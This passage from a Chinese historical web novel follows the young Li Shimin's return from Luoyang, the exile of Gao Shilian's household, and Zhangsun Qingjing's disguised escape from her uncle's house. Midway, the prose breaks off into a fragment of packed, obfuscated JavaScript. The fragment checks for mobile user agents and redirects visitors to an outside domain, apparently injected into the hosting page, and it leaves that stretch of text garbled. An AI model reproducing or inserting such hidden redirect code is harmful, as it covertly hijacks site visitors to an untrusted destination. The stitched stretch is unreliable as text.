“哦,他们可喜欢我啦。只是他们两人相处起来有一点麻烦。钟太尉扶了一下靠在棋盘一侧的铁锨,招呼我:‘虞姓小友,等我下完这一盘,你就随我去盗韦诞墓,把蔡邕的《笔势论》偷出来,好不好?’我自问是个正直的君子,对盗墓这种肮脏龌龊的事情不屑一顾,可那时却兴奋异常,跃跃欲试。王右军冷笑一声,从身后取出一个卷轴:‘可是这个?小友不须去盗墓,一会儿随老夫赏鹅。’钟太尉便怒道:‘姓王的小子,你居然算计我!’于是二人便把棋子棋盘桌案全部掷向对方……” “那么你帮哪个?”李世民顿时觉得正人君子哪怕服用了寒食散,出现的幻境也是清新雅致的,忍不住多问一嘴,“是不是很难选?” “他们打斗得实在激烈,相互叫骂呵斥,一点也 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“哈哈,他们打得昏天黑地,我哪敢多逗留片刻。趁着翅膀还在,就飞走了。醒来的时候,我正躺在一片梧桐树林里,高处的鸣蝉叫个不停……虽然我不想再见到他们了,但那次我数筹码数得很开心。你就安静坐着,说不定一会儿,你自己胁下也长出一双金色的翅膀!”虞世南有点喜欢这个特立独行的小友,忍不住逗他开心。 “有点意思。”少年回望了一下那个喧嚣的琉璃亭,皱了皱眉毛道,“啊,我不要亭子里,赌桌旁,篝火边那一群犬豕新长出来的鸡鸭翅膀,实在丑陋不堪。我要长出凤凰的双翼!”他赌气似的朝天大吼。 听到李世民说那群花天酒地的年轻人都变成猪狗,长出鸡鸭翅膀,虞世南哭笑不得:“好好好,你的翅膀就和他们的不一样。我已经看到了,是凤凰双翼的形状,又威风又漂亮!”他暗自祈祷这些幻象快一点消失。 靠在他肩头的少年突然开始流泪,向着空无一人的九州池上方絮絮叨叨,声音越来越响。 “阿耶,阿娘,我好想你们啊!” “高先生,我也想你啊!” “无忌,你知道紫薇城里有多少个疯子和傻子?” “大志,大慧,我以后再也不笑话你们了。” “张夫子,敏行,除了你们我不要别人指点我写诗。” “玄霸,你为什么不等我回家啊!为什么急匆匆离开我啊!你存心让我代你受罪,太不仗义了!” “观音婢,观音婢。”他的声音低沉温柔起来,“你过得好吗?我好想你。我本来准备送你一个刻着观音像的玉勒子,你肯定喜欢。后来我改主意把它送给一个可怜女孩了。昊天上帝管不住自己亲儿子为祸人间,就让观音菩萨保佑生死未卜的小采女吧。观音婢,你不要怪我。” 虞世南不耐烦地捂住了那张逐渐失控的嘴,拽着这张嘴的主人逃离了九州池,唯恐多逗留一刻会招致无限祸患。 李世民醒来时,已经身处右夹城的映日台。 他想起自己昨晚做了一个奇怪的梦:一只硕大的蝉抓着他一路从九州池上空的一片火海中掠过,直扑右夹城。 把他放下地之后,这只能说人言的蝉一本正经地叮嘱他道:“李公子,你可记住了,你是凤凰,不要变得跟紫薇城里那些鸡鸭虫豸一般。你要设法早日与家人团聚,好好活着,这里的人配不上你。”它言辞恳切,一切都像真实发生过的一般。那蝉翼上的暗纹还历历在目。 李世民揉了揉酸涩的眼睛,确认窗外的稀疏的星子是真实存在的,寒食散产生的幻觉消失了。 一张藤纸从他枕着的大氅中抖落,上面居然是虞世南亲笔书写的《结客少年场行》。他不记得自己昨晚问虞世南要字了,虞世南也未必这么爽快。他猜测是自己酒醉时从别人手里捎的。 捎都捎了,管它呢,现在这诗这字属于长孙青璟了! 李世民环顾四周,四下无人,便从胸口取出长孙青璟的书信,和藤纸整整齐齐叠在一处,贴身收好。 他转到整场噩梦开始的百戏台。宾客们大多横七竖八地倒在案几边上,还有一些人端着酒杯,抱着琵琶蠕动着,一些人撑着凭几鼾声大作。 几对柘枝舞伎从绸缎制成的巨大荷花中化生,随着帽檐上金铃的晃动,将手执的花束抛洒到酒酣耳烫的佞臣和勋贵身上,抛洒到醉意朦胧的乐伎和争奇斗艳的内外命妇身上,抛洒在这个看似权御万邦却早已中枢失控,走向日暮的王朝身上。 晨钟声渺远不可闻,但天已拂晓。 17. 惊变 皇帝的突然归来令整个大兴措手不及。精通算学的好事者又开始计算皇帝即位后留在西京的日子,结果令人沮丧——无论是粗略还是精确的计算,仍然不满一年。这未免让大兴的士人觉得自己遭到了嫌恶。 这是一座令杨广无比厌恶又不得不面对的冷峻城市,远不及洛阳的光明与温暖。那些关于大兴的不快的记忆像青苔一样长满他的内心,好不容易铲除了,又疯狂地爬满阴冷的心,使得他除了逃离别无他法。到达大兴城的第一天,杨广又开始筹划着新的告别的借口。 唐国公李渊回京复命,作为朝廷和豪强的纽带,他成功地带回陇右表面上对皇帝的重新臣服效忠,换回儿子的自由。 充满恶意的“天命之李”谶语太多,杨广觉得也许自己确实多疑了。加上女婿宇文士及紫金光禄大夫虞世基从中斡旋,杨广终于以大度的姿态褒扬了唐国公的忠诚,让其父子一同归家等待新的任命。 天子现在有更重要的事情要做,首当其冲的就是把奔亡高句丽又被执送回来的斛斯政处死,而且丝毫不留给他一点体面。他需用最酷烈最震撼的方式处决斛斯政,再将他的党羽按罪名的轻重一一惩处,以儆效尤。 李世民在洛阳最后的书信落款时接到了随驾回大兴的敕令。导致他并不确定自己人到西京时,书信是否已经由家中奴婢按序送往亲友处。 父子俩谢恩之后,少年在朱雀街上吐出一口浊气,与父亲暂别,快马加鞭赶到立政里,高府却已人去楼空。 他顾不得身份与童仆一道去周围打听。 “高治礼郎被斛斯政案牵连,一家都搬走了。”路过的街使善意地提醒每一个前来拜访高士廉的客人。 “搬去哪里了?”李世民的心弦绷紧了。街使摇摇头,带着卫兵离开了。 好事者道:“听他家遣散的仆役说,治礼郎因为与斛斯政交游,贬去了硃鸢……” “岭南的硃鸢?交趾的硃鸢?”他满心希望自己的耳朵幻听或者对方口齿不清。 不是硃鸢,不是硃鸢,哪怕是黔中蜀中的某个地方都行!回想起长孙青璟信中的担忧和恐惧,李世民开始后悔自己当初为何没有设法留在大兴。 “就是很靠南的那个硃鸢!离林邑很近的那个硃鸢!”对方斩钉截铁道,“对了,可以买卖昆仑奴的地方!离大兴可远呢!” 李世民的脑袋开始嗡嗡作响,悬着的心掉落进另一个无底洞,恐惧在周身蔓延。 “高先生的母亲和外甥呢?难道一起去硃鸢吗?”他希望情势不是那么糟糕。 坊里中高家老宅附近的居民见到这么一个衣着谈吐好似官宦子弟的少年在找寻高士廉一家,便纷纷围拢来。 “谁知道呢?只知道他们把立政坊的宅第卖了,终南山脚下的别业也卖了,职田被朝廷收回了。大半仆役遣散了,也就是这几日的事情。” “高先生又没儿子,女眷留在大兴也是任人欺凌。” “外甥是异姓,论理不在株连、流放名单上。” “如果大理寺坚持说这个外甥是养子呢?” “你这穷醋大跟高家有仇吗?这么指望人家全家流放岭南。” “我只是按惯例推断。你忘了杨玄感之乱后被樊子盖坑杀的无辜百姓吗?他们做错了什么,又跟杨玄感有什么血缘关系,就被认定为杨玄感的同谋被杀!” “那不一样,高先生与斛斯政只是一般人情往来,又不清楚斛斯政私下与杨玄感勾结。那只是贬官!贬官懂不懂?” “反正这和流放也没有多大区别了。高家把宅子都卖了,这是不准备回大兴的吗?” “他一家子受得了岭南的瘴气吗?” “公子,我们都是瞎猜,你不妨去大理寺打听打听。” 大家七嘴八舌,也没说出一些确切的消息。但是有一点李世民可以肯定:至少高家所有人生命无虞,也不在牢狱之中。但是谁都不知道这凭空消失的一家人现在何处。 “他们居然就这么离开了,什么都不告诉我!”他转念一想,洛阳之行,往返都过于匆忙,也许是双方都错过了书信;也许是自己势单力薄,也实在帮不上什么忙,无忌也不再多言令他徒增烦恼;也许是圣谕催逼急迫,高家不得不即刻搬离;也许是高士廉思虑谨慎,唯恐牵连亲友。 但是他实在想不通,无忌与他是刎劲之交,实在不应该谨小慎微到不留下只言片语给他。这也太小看他李世民了。等到见了面,他非要好好数落无忌不可。 至于长孙青璟,那着实是他自己不是了,连什么承诺都没给过她,她如何敢在最艰难时依赖他。他怎么蠢到出行那一天不向她坦诚心迹呢?那天她应该是特意来送他的,而且两人相谈甚欢。他写了数封信给她,只是一味倾吐怨怼,简直是小儿女般惺惺作态的行径! 如果能在大兴城与她重逢,他一定恳求父亲具六礼。他心里容不下别人了。父亲一定能理解他的。父亲身为文献皇后的最爱的外甥,不也是大张旗鼓跑去神武公府上向前朝皇帝的养女求婚吗?至于母亲,聪慧可人的长孙青璟无疑招她喜欢。 父母一定会支持他的。 如果高家人已经离开长安,那他就追上他们再行解释。高先生拖家带口,必然行动缓慢。待到见面,他定要先指责无忌不告而别,再求高先生应允他娶长孙青璟。 长孙青璟初时一定讨厌他对她不闻不问,南去的路途艰险,她必然吃了不少苦,心中对他充满怨恨。待她气消了他定会好好补偿,再不随意离开她。 匆忙之间,他的心头涌出了一个又一个关于未来的设想,也许不太周全,但却也设身处地为每一个着想。当务之急还是先打探这一家子人去了何处。 他在大兴城转悠了一整天,拜访了所有同时认得他与高府诸人的朋友,但回答均是语焉不详,他不免失望。只能委托一群自号“五陵少年”的纨绔子弟一同替他打探消息,这群人终日斗鸡走狗,任侠放荡,但胜在交游广阔。 有那么一瞬间,他甚至想去永兴里找长孙安业。但是不久又打消了想法,长孙安业只会对继母和异母弟妹的一切不幸遭遇嗤之以鼻,没有必要去找他。 暮鼓的隆隆声促催着他归家。他主意已定,最坏不过亲自跑一趟硃鸢。他还年轻,瘴气伤不了他。心头的灼烧感立时减轻了一半。此时他倒也不再像个无头苍蝇一般四处乱撞了,挚友的安危动向他是一定要弄明白的,长孙青璟的未来理应受他的庇护。 今晚跟父母摊牌就是了。 回到府中,李渊和窦夫人似乎又在为了是否把突厥马献给皇帝的事而争执。 “郎君也不必向宇文述、云定兴一般阿谀逢迎,不露形迹地投其所好也会让陛下青眼有加。为何不尝试一下?” “不送!我自己都不够用!”李渊维持着武人最后的倔强。 “不送,我也不够用。”路过的儿子跃到父亲身边帮着腔。他平日帮母亲说话的时候略多一些。不过自从洛阳回来后便多少能理解父亲每次面圣时遭遇试探,恫吓,威胁的郁闷,便开始偏向父亲。 “好好好,你父子俩一起欺负我。你们自己选的路,不后悔就是了。”窦氏笑着抱怨道,嘱咐一家用晚膳。 李世民问及兄弟们地去向,同母姊四娘李陇月轻声道:“父亲怕陇右回来后凶多吉少,令大哥带着四弟回河东老家。万一朝廷有异动,也方便逃脱……还好,你和父亲都平安归来。” 孝期一过,李陇月也便带着女儿常住娘家,顺便照顾时不时气疾发作的母亲。 李渊犹豫着告诉全家:“斛斯政被肢解了,就像腊月傩仪上的牲畜一样被弄死了。就在几个时辰前,我被裹挟着去金光门,在震耳欲聋的喊打喊杀声中与邀宠的朝臣们一起朝着尸体射了一箭。这是我平生最不准的一箭,勉强就算向皇帝效忠了。然后刽子手开始把尸体分成小块。宇文父子也在刑场附近,我怀疑他们奉诏拿着官员名录记下了那些生啖人肉者和拒绝者食用者的名字,然后秘奏陛下……” 他不吐不快,不过实在不合时宜。妻子儿女都放下了刀箸。所有人都用诡异的目光看着眼前的食盒。 “你本可以晚一点再说。”妻子窦氏有些抱怨,“不要吓到外孙女。” “她忙着吃炙羊肉,哪里在听!哪怕听也听不明白。”李世民笑着对母亲说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041796|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不知道斛斯政最终被烤了还是煮了……分肉之前我推脱有事走了。说实话,上阵杀敌,双方都伤得血肉模糊我也不曾退缩过半步。但是单方面的杀戮实在令我作呕,也令人人自危。今日扣留大臣的儿子测试忠心,明日分食逆臣血肉测试忠心,忠心早晚被耗尽。我受够了皇帝的这些把戏。”李渊自顾自说着。 全家又是一阵沉默,眼前的肉食也有那么一点令人反胃的感觉。 李世民一直在找机会说自己的婚事,但是家人们你一言我一语说得也确实都是性命攸关的要紧事,导致他几乎插不进话。 李陇月嘱女儿少吃点羊肉,多吃点胡饼,转向弟弟道:“家里的饮食比不上洛阳紫薇城吧?不习惯了吧?洛阳之行如何?” “无趣。”四娘的话勾起了弟弟并不愉悦的记忆,“洛阳恢弘,但是紫薇之城憋得人气闷。” “听说你在洛阳跟人打架了,也是因为憋闷?”李渊问道,语气带着调侃,并不十分严厉。 窦氏惊异地说道:“叔德,你和毘提诃还有多少事瞒着我?你这孩子,每次写信都在骗我!” “虽说这不算长脸的事,不过二郎好歹打赢了,没让我脸上无光,所以不值一提。若是他打输了,哼……”李渊吩咐婢女把令他浮想的羊肉拿走,换上古楼子,狠狠咬了几口。 李世民辩解道:“阿耶,司马德戡不堪一击,还像个长舌妇一样挤兑我。是他自己要比试骑射的!难道不是愿赌服输吗?他居然还有脸跟你说!” 李渊神色一凛:“你说什么?不就是打了宇文皛这个小混账吗?我怎么不知道你还打赢了虎贲郎将?哈哈,陛下看到宠臣输给一个孩子,有没有发火?一会儿细讲给我听。我一定赏你一匹突厥马。” 作为臣子,他恐惧天威;作为杨广的表兄,他有时就像个喜欢恶作剧的孩童一般期待表弟出丑。 窦氏对于丈夫在儿子面前那副返老还童的嘴脸颇不以为然,蹙眉问道:“叔德,我们的儿子还在洛阳闯了什么祸?你父子两不会还有事瞒着我吧?不会有大碍吧?” “他能闯出什么祸?无非酒宴上与人斗狠罢了。”李渊听闻儿子与虎贲郎将比武却不落下风,人也悠闲起来,侃侃而谈,“就是我甥女王尚仪今日透了点风声给我,说萧后问起毘提诃的生辰八字?皇后有意将——” “我不愿意!他杨家的女儿,除了南阳公主,要么品行不端,要么身份难堪。听说齐王暕还有个见不得光的私生女藏在民间。这些帝女宗室女,我们李家属实高攀不起。让裴家和宇文家抢破头吧。”窦氏有一种被轻慢的愤怒。“叔德,你不会又把儿子卖了吧?他才十六岁,我不准你毁他前程!” “我哪敢轻易答应?你们这些外命妇平日里聚会就这么对公主皇女们品头论足的?”李渊调侃道,“这大概只是皇后的一厢情愿,要把并非自己所出的女儿趁着皇帝下次巡游前嫁出去——说来这个嫡母真比亲生父亲考虑得周全多了。不过你放心,我们当成宝的孩子在陛下眼中简直又村又倔,不堪大用。臣子们暗地里其实都夸皇后比皇帝更有识人之明,你不也这么说过吗?” 窦氏“哼”了一声:“萧皇后的人品才华我是服气的,可惜她没有第二个女儿。”她转念又问:“那你是怎么委婉回绝皇后的呢?” 李渊喝了一口果酒道:“那你们都不得不赞我有急智了,我愁眉苦脸地让王尚仪转告皇后:家有悍妇,子女婚事老夫实在无力插手。只恐老夫外放之时,国公夫人已为犬子下好了婚书——此事也就作罢了!” 李陇月“噗嗤”一声笑了出来。 窦氏也没好气地笑了:“我哪里‘悍’了!空穴来风!” “夫人,我竭力为家避祸,你怎么也不赞一句‘郎君高明’?” 李陇月笑着跑到弟弟身边,对父母说道:“阿耶,阿娘。你俩少说几句吧。看把这二弟吓得一惊一乍,从头到尾一言不发。”她摇了摇李世民的肩膀:“好啦好啦,虚惊一场。” 一直沉默着置身事外的李世民突然抬头,整理衣冠走向父母,郑重其事地长跪道:“阿耶,阿娘,那就为我修一封婚书吧。我有心上人了。” 18. 出逃 长孙敞在京师的府邸不算宏伟奢侈,但胜在形制奇巧。园中浚池叠山,竹木丛翠。他有时惋惜宇文恺过世太早,否则他们一人设计楼阁,一人铺陈山水,简直珠联璧合。更多时候这位擅长水利的匠作少监也会做功配夏后的美梦。但那实在太过遥远,还是享受自己的现世为好。 他不算一个无情之人,也愿意照拂兄长一对年幼的子女。不过生性懒散不爱争执,所以也任由长孙无忌和长孙青璟常年住在高士廉家中。 他深恨斛斯政的过激反应,本来杨玄感一死,书信一烧,里应外合一事烟消云散。哪个世族大家,功勋贵族没有多头下过赌注?偏偏此人如此沉不住气。 现在西京一片腥风血雨,前任兵部尚书奔逃高句丽一事牵扯甚广,成为天下笑柄。皇帝衔恨,定要将他的门生故旧全部拔除,刑部、大理寺和御史台也不敢懈怠,满世界抓人定罪,宁缺勿漏。 治礼郎高士廉与斛斯政交好是无论如何也掩饰不过去的,流放关押是免不了的,一个巨大的关东人的社交圈子又将被抹除。 最近午夜梦回时,长孙敞居然看见父亲长孙兕,两位兄长长孙炽和长孙晟气势汹汹地站在他的榻前,一言不发。 惊醒时他自忖未有不孝不悌之处,唯一不周全的地方恐怕就是鹅王的一对子女。 于是他派人前往高府打听朝廷对高士廉的处置。对方倒也很是淡然。只是说长孙无忌死活要跟舅父在一起,高士廉又准备卖掉家中大宅,一片混乱之中,老母、妻子、妹妹和两个孩子不知如何安置。 长孙敞只得亲自把唯一劝得动的侄女长孙青璟先接回自己府上,其余的事情从长计议。 “我与你舅父都是害怕投鼠忌器,才将你安置在万全之处。”他是这样解释的。 当然他心中还有另一层担心,万一有好事者向皇帝进言长孙青璟为高士廉己出之女,才貌双全,这失怙的少女莫名其妙被宣进宫中就大为不妙了。到时恐怕他的父兄就不止在梦里瞪着他了。 长孙青璟初来乍到,倒也不追问一切尘埃落定之后家人如何安顿自己,只是安静地听凭叔父安排自己住下。 她花了几天时间把院落门墙的位置都弄得清清楚楚。 府中上下只道她心中抑郁,便随她四处游荡,只要不出门便不加干涉。 长孙敞更不以为意,只是觉得任何聪明人都会对自己形制奇特的舍宇兴味盎然,聪慧的侄女也不例外。 连续几日,长孙敞努力回想着长孙青璟有无婚约,依稀记得两位兄长私下议论过一桩婚事。但是男方是谁家公子却记不真切了。想找人问问高士廉又觉不妥。 唉!虽然把这孩子嫁出去是最为稳妥保全之法,但斛斯政被挫骨扬灰的情形犹在目前,哪个傻子在此刻愿意乐滋滋地与受牵连被流放的高士廉的甥女喜结连理。 对于兄长的愧疚又开始占据上风,他决意好好抚养长孙青璟,让好事者忘记她曾经被渤海高氏收养过,让她以洛阳长孙氏贵女的身份找到匹配的高门夫婿。 冬日的午后,匠作少监正在一叠地图前研究怎么把水引进汾阳宫,妻子薛氏突然告诉他,自己迎来了有趣的客人和更加令人欣喜的消息。 “休明,起来活动一下。你的堂弟孝政的遗孀——李家的四娘子和她的弟弟来访。” “你们女眷之间的事情我就不掺和了。你款待一下即可,我不日又要随陛下离京,忙得很。”近来,这种普通亲戚间的交往令他生厌和昏昏欲睡,连敷衍一下都不屑。 薛氏笑吟吟地说道:“和你想得不太一样,这姐弟俩刚从高氏崇德里新宅那边过来,特意问候匠作少监及其从女。” 长孙敞从图纸间探出头:“这是什么意思?” “你这几日不是总在为青璟的婚事胡思乱想吗?噩梦里都是你父兄的怒气,茶饭不思的……” 长孙敞窘迫地偷窥了薛氏一眼底气不足地反驳:“我没做噩梦,不要胡说!” “你消消气。”薛氏凑近他道,“我今日弄明白了,李四娘的弟弟,唐国公李叔德的次子,就是你兄长季晟选定的女婿!千真万确。你死活想不起来的婚约,人家倒是记得。” “父辈间的玩笑话,做不得数。”长孙敞皱眉道,“无凭无据的事不要瞎说,你这么嚷嚷开,弄得两家都下不来台就无趣了。唐公自从杨玄感之乱后颇得陛下器重,慰抚陇右,居功至伟,如今炙手可热,正是平步青云之时;高士廉贬为硃鸢主簿,限日离京,落魄如丧家之犬。就算甥女与舅父不同姓,不株连,李家也不见得不懂得避嫌,哪有自己主动跑来承认婚约的道理!” 薛氏嗔道:“信不信由你。你弟媳李四娘都直白地跟我说了婚约一事,难道是闹着玩的吗?我想起你次兄仲光也曾经赞许唐国夫人为睿智奇女子,想来他一家人做事就是如此不同凡俗。他们姐弟今日来此,只为确认青璟是否安好。听你弟媳的口气,高家那边多半对这门婚事已经应允了,但是不敢自作主张,还要听听长孙家长辈的意思……” “果真?”长孙敞一时也喜忧参半,喜的是李家有情有义,忧的是侄女命运多舛,也不知日后能否在婆家站稳脚跟。喜的是年轻郎君凭一腔仗义与孤勇愿与这苦命少女结缡,忧的是冲动之后能否能带来长久的琴瑟和鸣。 “既然已经拜访过高先生,又提及经年前的婚约,我自当和你一起见客。”长孙敞并不敢以唯一的监护人自居,甚至在侄女的教养问题上颇为心虚。这位年轻郎君既是姻亲又为高士廉认可,自然是现阶段上好的人选,他自当不卑不亢地接待。既不能傲气地把人吓走,也不能谄媚地急于求成。 薛氏一路絮叨着:“我看这样,我先带着四娘见过青璟。然后,让那俩孩子见上一面。” 望着丈夫挑高的下巴,她从鼻孔里发出两声哼哼:“你想到哪里去了!当然是隔着屏风,你我都在场。啊——我跟你说,四娘的这个弟弟你要见了也会十分欢喜。” 长孙敞忍不住轻蔑一笑:“你们这些妇人品评年轻的公子,还不是只看脸!” “我哪里只看脸?”薛氏笑着反驳,“我分明还听他谈吐,看他身形,才没你说得那般肤浅!” 夫妇二人将李家姐弟延请入正堂,主宾刚叙完礼,头发蓬乱的婢女便大呼小叫地跑到主人面前。 “郎君,娘子,季晟公家的小娘子不见了!” 紧接着,一个衣冠不整的年轻仆役被人拖到到长孙敞面前,满口喊冤:“郎君,奴婢什么都不知道。只是修剪花木时被人从背后打得晕头转向,醒来后就没了幞头和襕袍。”那人捂着后脑勺的伤口,心有余悸。 “郎君,可刚刚明明有人见他鬼鬼祟祟离开府邸。”有家生抢白道。 “你胡说!”这头晕目眩的花匠手抱着一个海西国的银盘,指着上面的血迹向长孙敞喊冤,“奴婢所言句句属实,定是有家贼偷盗钱财,又栽赃陷害。” 长孙敞顾不得自己最爱的海西古银盘被人当做行凶工具,上面的缠绕的葡萄花枝和盘子中间髡发长袍的美少年浮雕已经变了形,只想捂住众人的嘴! 他的心情从希望的云端跌落到了几近绝望的谷底。他竭力揉着额头想揉出一个合理的解释,却是枉然。他透过撑着额头的指缝,看到宾客座位上的李世民是满脸诧异,不知所措,继而低头沉思,下意识地握紧了拳头。长孙敞猜测这个少年已经在心中把所有细节都拼接成完整的故事。 太荒唐了! 右骁卫将军的女儿,匠作少监的从女——几乎当着这个世上唯一愿意拯救和有能力拯救她的少年的面,以蛮力敲昏了叔父家的仆役,抢了一身男装扬长而去! 长孙敞揣测,在年轻郎君的心中,未婚妻(姑且这样认为)陷进谋反案却毫不收敛、狠戾地对待无辜的奴仆,然后招摇过市的行径件件 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总之,事情又回到了原点,甚至更糟。一个不知道自己斤两的落魄贵女就这样糟蹋了维持显贵的唯一机会。长孙敞拿起自己珍视的古董银盘,微微变形的人物正拿着酒杯一脸讥诮地与他对视。他高高举起盘子,将满腹愤怒砸向地板。 “都愣着作甚!设法将娘子找回家。小心从事,对外不要声张,就说走丢了一个年轻花匠。”他瘫软在几案旁,脸色苍白。 薛氏小心翼翼地捡起银盘,轻轻说道:“我又亲自到各个院落查找了一遍,青璟确实不在府中,你说她会去什么地方?高府?” 长孙敞摇摇头:“这孩子看着也不十分偏执,若是执意与她舅父在一起,当初也不会痛快地随我离开高家。高士廉与我嫂子也说她一贯乖巧懂事,故而我也未加防范。” “或是我们弄错了。我令人再去全府上下找一遍!”薛氏一时竟难以相信温婉的女孩子行事会如此杀伐果断、狠戾无情。 “不用找了,就是鹅王亲生女儿。” “你又提起你三哥作甚?” “鹅王比她略大一些时,跟我吹嘘要去齐国的邺城走一遭,再取道突厥回来。兄弟几个只是笑他……” “之后呢?” “之后他就凭空消失了几个月。不知道他是如何单枪匹马越过重重关隘和三个国家的边境。等他回来时,骑着突厥马,穿着连珠纹锦衣,好不威风!因怕母亲打死她,还带回了轻薄透光的邺绫谢罪,惹得阿娘又哭又笑。宿铁刀和角弓分送给我和仲光。还有什么突厥金、绿松石、玛瑙、琥珀,全都散给了其余亲友……我至今没有弄明白他是怎么活下来还带了那么多有趣的物什给我们的。” 薛夫人下意识地看了看自己脖颈间项链上最大的那块玛瑙:“看起来,确实像是你三哥的行事风格。” “会不会是永兴里?”薛氏连续发问。 “怎么可能!”长孙敞冷哼了一声,“不要给我提起安业那个不成器的东西!脑壳疼!” 沉默有顷,长孙敞终于开腔:“先去高家问问,也不知高士廉与我那倔侄儿还在不在京师?吓到了高家老太太又是罪过了。” “可惜了——李家小郎君真的不错,难得你弟媳愿意从中周旋婚事。你说,还有转圜余地吗?比如,把人找回来以后托你弟媳说情,就说误会一场,青璟不过在哪座假山上睡着了。”薛夫人小心翼翼地问道。 长孙敞白了异想天开的妻子一眼:“李家人保持缄默,不与外人说我家女儿离经叛道,便是怀有仁义之心的君子,你就偷笑吧。你还想别人做什么?六礼俱全,敲锣打鼓把她娶回家?” 他捡起心爱的外国古董,凝视着上面的血迹,突然一阵晕眩袭来。望着奴婢奉上的醍醐与酪浆,长孙敞隐隐作呕。 “吩咐庖厨,这七天不喝这些甜腻的东西。给我准备钩藤天麻饮子和芹菜汁……”他结跏趺坐于地板上,苦笑道,“鹅王啊鹅王,你这小女儿怎么这么像你?” 19. 誓约(含小剧场) 长安县的高阳之原,死寂而又寥落。枯黄暗沉的草茎在十一月的冷风中抽搐。偶尔有几只鹞鹰在天空俯冲而下,与落单的野狗缠斗不休。漫卷的黄沙将远处新丧仪上的纸钱推上半空又骤然跌落,急遽滚动。 长孙青璟在筹划一场告别。生者与逝者的告别,女儿与父亲的告别,未来与往昔的告别。 她的手指触到墓碑上层累的浮尘,粗粝感刺痛了指尖,冷得彻骨。麻木感很快蔓延周身,在她的四肢扎根,试图把钉死在龙首原。 她向手心哈了一口气,跺了跺脚,准备跪下和父亲好好说话。 “长孙娘子,安和好在!” 心尖被骤然烫了一下,她回头,来者果然是李世民。 如果巧合多了,是不是会变成宿命? “李公子,别来无恙。”她别过头,不想让他看见自己蜷缩在皂色麻衣里瘦削无助的模样。 李世民走上前,解下大氅为她披上:“你的母亲、舅父舅母、外祖母还有叔父一家都在担心你,无忌去了南山一带找寻。你不要胡闹了……跟我回家吧。” 长孙青璟摇摇头。“我陪父亲坐一会儿,往后就不能来了。” 她的神情举止与言谈透着说不出的怪异。李世民本来猜测她遭到如此变故,会变得如惊弓之鸟一般,怎么也想不到居然还能处之泰然。 他觉得她一月之内从云端跌落谷底,心力交瘁,变得有些阴晴不定也情有可原。 “好,那我等你。” 李世民向长孙晟的墓碑拱手施礼,也不知该说些,便向后退了几步。他的满腹心事全被眼前的阴郁少女和她父亲的墓碑堵在心头。 他私心以拯救者的姿态出现在她面前。如今在长孙青璟眼里他大概像个笑话。 一开始,他觉得可以在刚被杨广赋予自由时飞奔到立政里与她重逢;扑空后,他又设法利用王无锝与长安恶少们的消息网得知了高士廉一家的新住处;得知她被叔父接走后,又厚着脸皮以长孙孝政妻舅的身份冒失地拜访长孙敞。 他觉得自己足够离经叛道、惊世骇俗。这种敢冒天下之大不韪的举止应该足以让长孙青璟泪落如珠了。 可是,眼前的少女波澜不惊,似乎酝酿着一个更加缜密而出人意料的计划——而他,这个被自己感动到沾沾自喜的拯救者不在她的计划之中。 这一切,都令李世民不敢轻易说出那些愿意为她赴汤蹈火的蠢话。 “我尝试着找了你们三次。”他试探着问道,“你本可以给我留几句话的。高氏有急,我决计不会躲闪回避,为何见外?你这么乱跑,又是为何?” “我舅舅说的果然分毫不差。”青璟冁然而笑,也许是赞许眼前人,也许是告知泉下的父亲,“他说如果你决意要找到我们,一定会把大兴每一寸地翻开了找到我们的。如果你找不到我们,要么也是刻意避嫌,不再值得深交;要么就是太蠢,我们更无意拖累你。” 李世民的思绪被长孙青璟的话搅合成来一团袅袅青烟,乱纷纷不知所以然。 “那么,我这算是通过了什么重要的试探?”——真是岂有此理!但是他心中的忿然却只化成一句质问:“你也是这样想的?” 长孙青璟裹紧了大氅,狐裘余温尚在。回想送别时的温情,鱼雁往来时的牵绊,只觉得恍如隔世。但是她现在需要把那些虚妄的情愫从脑海中连根拔除,眼下只有一件紧要事。 “舅氏蒙难,义不相弃。”长孙青璟的声音细微,却凛然不可侵犯。有一股山呼海啸的力量击中了李世民心中柔软的一处角落。记忆中陌生而又熟悉的身影与眼前的少女交叠在一起。 他之前嗔怪也好,愤怒也罢,都显得微不足道。他生生咽下来那句几乎已到唇边的额“你又能作甚”,准备听她解释跑到父亲墓前的缘由。但是又害怕从她口中说出令人猝不及防的打算。 长孙青璟看了一眼墓碑,很平静地说道:“我有两位父亲,生我的父亲和养我的父亲。我曾经想过,做个贤淑女子不辱没生身父亲,做个恭顺女儿在养父膝前尽孝。此生便无憾矣。可叹命蹇时乖,我必须做出抉择。我本来想听从舅父的劝告,安心待在叔父家中等待斛斯政一案平息,然后以右骁卫将军孤女的身份继续生活下去。可是我发现自己终究做不到。你也认为我是一个尽给大家添乱的累赘,是吧?” 李世民矢口否认:“不是。你刚毅果断令人钦佩。” 长孙青璟揉搓着双手,带着点异想天开的热忱问道:“公子,若是我远行,你可以照顾我兄长吗?” 李世民闻言,惊奇得浑身怔住:“你为什么会有这么怪异的念头?” 她低下头,拨弄着带扣。“我舅父不日就要前往交趾,公子想必已经知晓了。” “我知道。我随法驾回大兴的那天就知道了。我像无头苍蝇一样在长安县和大兴县之间往返了一天,只为找到你和无忌。” “对不起。”她的声音沉了下去,就像溺水者一般无力和绝望。那个和他一起吹着山风说笑,看着日晕尖叫,往他茶水里掺胡椒,像花狸一样狡黠活泼的少女被命运捶打成了白日不得不出穴游走的小鼠。 她开始怯生生地解释这个荒谬的决定:“我寄出最后一封信后不久,舅父就接到了贬谪的敕书。全家慌乱至极,舅父倒是十分坦然。全家本意一同上路,誓不相弃。无奈外祖母年事已高,舅父不忍携她同行。于是舅父说服大家卖掉大宅,换了两处小宅。一处留给舅母照看外祖母,一处留给无忌奉养我阿娘和日后成婚用……” 她绞着双手,似乎这样可以生出一股支持自己的力量。“我的舅父、母亲、兄长,他们所有的人,都不想听我说,我宁可与他们穷死病死老死在一起,也不想寓居在宗亲家中。他们都不想听我说我要留下,只是觉得一切自作主张的安排都是为我好。” 